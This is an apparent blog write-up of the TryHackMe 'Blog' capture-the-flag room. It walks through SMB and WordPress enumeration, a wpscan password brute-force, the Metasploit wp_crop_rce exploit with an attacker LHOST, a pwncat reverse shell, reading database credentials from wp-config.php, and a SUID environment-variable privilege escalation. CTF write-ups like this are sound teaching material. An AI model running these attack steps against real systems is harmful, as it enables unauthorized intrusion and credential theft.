Blog
Billy Joel made a Wordpress blog!
Introduction
Hello everyone, today we will be taking a look at Blog, a Medium rated room on TryHackMe. We will explore the exploitation of a vulnerable Wordpress website with wpscan and metasploit, before moving on to the privilege escalation phase using tools like pwncat, LinPEAS and ltrace. Let’s get started !
- Enumeration
- Exploitation
- Privesc
Enumeration
Portscan
First the room asks us to map the blog.thm
domain name to the $TARGET_IP
in /etc/hosts, so I started by doing that.
As always, I like to begin with a port scan. For this I use rustscan. It’s basically a Rust-based port scanner that detects open ports, and then launches an nmap scan only on the discovered ports. You can specify options to the subsequent nmap scan by using the -- NMAP_OPTIONS
syntax. I like to go with -sV
for identification of services version, and -oN ports
to save the result to a file named all_ports.txt
.
1
rustscan -a $TARGET_IP -- -sV -oN all_ports.txt
1
2
3
4
5
6
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu))
139/tcp open netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel
What do we learn from this portscan ?
- The target is a Linux system
- SSH, HTTP and SMB are running
SMB (139, 445)
I always start by enumerating SMB because it’s relatively quick and we often find juicy files. So I started with an smbclient:
1
2
3
4
5
6
7
┌──(kali㉿kali)-[~]
└─$ smbclient -L "//$TARGET_IP" -U "%"
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
BillySMB Disk Billy's local SMB Share
IPC$ IPC IPC Service (blog server (Samba, Ubuntu))
When using smbclient, you can specify a username and a password with the following syntax: -U "username%password"
. So -U "%"
essentially means blank username, blank password.
Share name | Description | Default share ? |
---|---|---|
ADMIN$ | Store printer drivers and related files | Yes |
BillySMB | No | |
IPC$ | Inter-Process Communication | Yes |
Let’s explore BillySMB:
1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~]
└─$ smbclient "//$TARGET_IP/BillySMB" -U "%"`
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Tue May 26 20:17:05 2020
.. D 0 Tue May 26 19:58:23 2020
Alice-White-Rabbit.jpg N 33378 Tue May 26 20:17:01 2020
tswift.mp4 N 1236733 Tue May 26 20:13:45 2020
check-this.png N 3082 Tue May 26 20:13:43 2020
15413192 blocks of size 1024. 9788764 blocks available
smb: \> mget *
Open thunar to get a general overview:
Alice-White-Rabbit.jpg
is a JPG file, so I want to try some steganography tricks with an empty passphrase:
1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~]
└─$ steghide extract -sf Alice-White-Rabbit.jpg
Enter passphrase:
wrote extracted data to "rabbit_hole.txt"
┌──(kali㉿kali)-[~]
└─$ cat rabbit_hole.txt
You ve found yourself in a rabbit hole, friend.
check-this.png
appears to be a QR code, so let’s scan it using zbarimg:
1
2
3
4
┌──(kali㉿kali)-[~]
└─$ zbarimg check-this.png
QR-Code:https://qrgo.page.link/M6dE
scanned 1 barcode symbols from 1 images in 0 seconds
We could enumerate further, using tools like exiftool and binwalk, tryna look at the .mp4
file and so on, but seems like this SMB server is just a rabbit hole. I also ran enum4linux to double check, but nothing interesting came up. Let’s move on.
HTTP (80)
You can learn more about WordPress enumeration in here.
Seems like WordPress is running
Manual enumeration
As you can see on the index page, the post has been written by Karen Wheeler
There is a little trick that you can use to enumerate other users. Simply add ?author=X
where X
is a number at the end of the URL:
I tried it with X=2
but it returned a 404 Not Found, so there are only two users on this WordPress website.
Let’s try to login manually. Note that we cannot login with Karen Wheeler or Billy Joel as username, we need to login with their wordpress generated usernames, the first letter of the firstname and the lastname:
Wpscan
Here is the wpscan with irrelevant parts removed:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(kali㉿kali)-[~]
└─$ wpscan --url http://$TARGET_IP
[+] robots.txt found: http://10.10.132.87/robots.txt
| Interesting Entries:
| - /wp-admin/
| - /wp-admin/admin-ajax.php
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://10.10.132.87/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] WordPress version 5.0 identified (Insecure, released on 2018-12-06).
| Found By: Emoji Settings (Passive Detection)
| - http://10.10.132.87/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.0'
| Confirmed By: Meta Generator (Passive Detection)
| - http://10.10.132.87/, Match: 'WordPress 5.0'
[i] No plugins Found.
I checked the /wp-content/uploads/
folder since it has directory listing enabled, but found nothing interesting there. Version is 5.0 which is quite old, so let’s search for potential exploits.
Searchsploit
Wordpress 5.0 is an old version (the latest version is 6.7), so running searchsploit against this version might be a good idea
Searchsploit found a lot of exploits that match this WP version
There are a ton of exploits, but only 5 of them affect WordPress itself and only 4 are of interest (the fifth is a DoS exploit).
The others exploits target WP plugins, but we know from the wpscan that there are no plugins installed here. So we only need to test 4 exploits.
We have gathered enough information from the enumeration phase. Let’s move on to the exploitation part.
Exploitation
Testing searchsploit exploits
Exploit name | Problem |
---|---|
php/webapps/49512.py |
Authenticated |
php/webapps/46511.js |
Authenticated |
php/remote/46662.rb |
Authenticated |
multiple/webapps/47690.md |
Didn’t work |
Bruteforcing WordPress
Since all exploits are authenticated and we don’t have credentials, let’s try a dictionary attack with wpscan
. First we will create the user wordlist, then launch the attack:
1
2
3
4
5
6
┌──(kali㉿kali)-[~]
└─$ echo -e "bjoel\nkwheel" > real_users.txt
┌──(kali㉿kali)-[~]
└─$ wpscan --url http://$TARGET_IP/ -U real_users.txt -P $PASSWORD_WORDLIST
I started by trying the 2020-200_most_used_passwords.txt
and the 2023-200_most_used_passwords.txt
wordlists from SecLists but nothing came up. So I decied to be patient, and used the rockyou.txt
wordlist. After a few minutes I got this:
1
2
3
4
5
[+] Performing password attack on Xmlrpc against 2 user/s
[SUCCESS] - kwheel / cutiepie1
^C
[!] Valid Combinations Found:
| Username: kwheel, Password: cutiepie1
Getting RCE
We finally have our needed credentials: kwheel:cutiepie1
. Let’s use the metasploit authenticated exploit that we found earlier.
1
2
3
┌──(kali㉿kali)-[~]
└─$ msfconsole
msf6 > use exploit/multi/http/wp_crop_rce
After typing show options
, we notice that some parameters need to be configured.
1
2
3
4
msf6 exploit(exploit/multi/http/wp_crop_rce) > set USERNAME kwheel
msf6 exploit(exploit/multi/http/wp_crop_rce) > set PASSWORD cutiepie1
msf6 exploit(exploit/multi/http/wp_crop_rce) > set RHOSTS $TARGET_IP
msf6 exploit(exploit/multi/http/wp_crop_rce) > set LHOST $ATTACKER_IP
Within a few seconds, we’re greeted with a meterpreter session.
Privesc
Pwncat
The meterpreter is cool but I prefer to use pwncat. So I setup the pwncat reverse listener in another terminal, and run a reverse shell from the meterpreter session like this:
User flag … or not
I tried to cat
the user flag, but I got trolled:
1
2
3
4
(remote) www-data@blog:/var/www/wordpress$ cat /home/bjoel/user.txt
You won't find what you're lookif for here.
TRY HARDER
Looking into the bjoel home directory, I came across a PDF. Downloaded it using pwncat
and opened it:
Joel was working for Rubber Ducky
This might be a clue, perhaps the flag is in /media/
or something:
Not a big deal, we’ll search for the user flag once we have root access.
Manual enumeration
Let’s start by enumerating the users that have a connection shell
1
2
3
(remote) www-data@blog:/var/www/wordpress$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
bjoel:x:1000:1000:Billy Joel:/home/bjoel:/bin/bash
Next, let’s grab the content of the wp-config.php
file. This file contains information required by WordPress to connect to the database such as:
- db name
- db host
- db username
- db password
1
2
3
4
5
(remote) www-data@blog:/var/www/wordpress$ cat wp-config.php | grep DB_
define('DB_NAME', 'blog');
define('DB_USER', 'wordpressuser');
define('DB_PASSWORD', 'LittleYellowLamp90!@');
Tried using the database password to su bjoel
and su root
, but unfortunately it didn’t work.
Next, I extracted the password for the bjoel WordPress user from the MySQL database and I attempted to crack it with john, but … my CPU ain’t powerful enough.
Time for automated enumeration I guess.
Linpeas
Note: with pwncat, you can switch between the attacker’s shell and the victim’s shell by pressing Ctrl + D
.
It looks like there is an unknown SUID binary ! SUID (Set User ID) is a special permission with one key function: the binary executes as the user who owns the file. This means that if the binary is owned by root, it will execute with root privileges, even if launched by the www-data
user. Therefore, it’s a significant privesc vector. More on that here.
SUID binary
When we run the binary, it says “Not an Admin”. Let’s download it locally and try to ltrace it to examine dynamic libraries and syscall done by the binary:
Downloading it with the help of pwncat
From the ltrace
output, we see that the binary checks the admin
variable from the environment with the getenv()
function. So we can just modify the admin env variable and set it to true. Once we do that we can grab our flags !
We use the find command to search for the real user.txt flag, which was indeed located in the /media/usb/
, just as we suspected .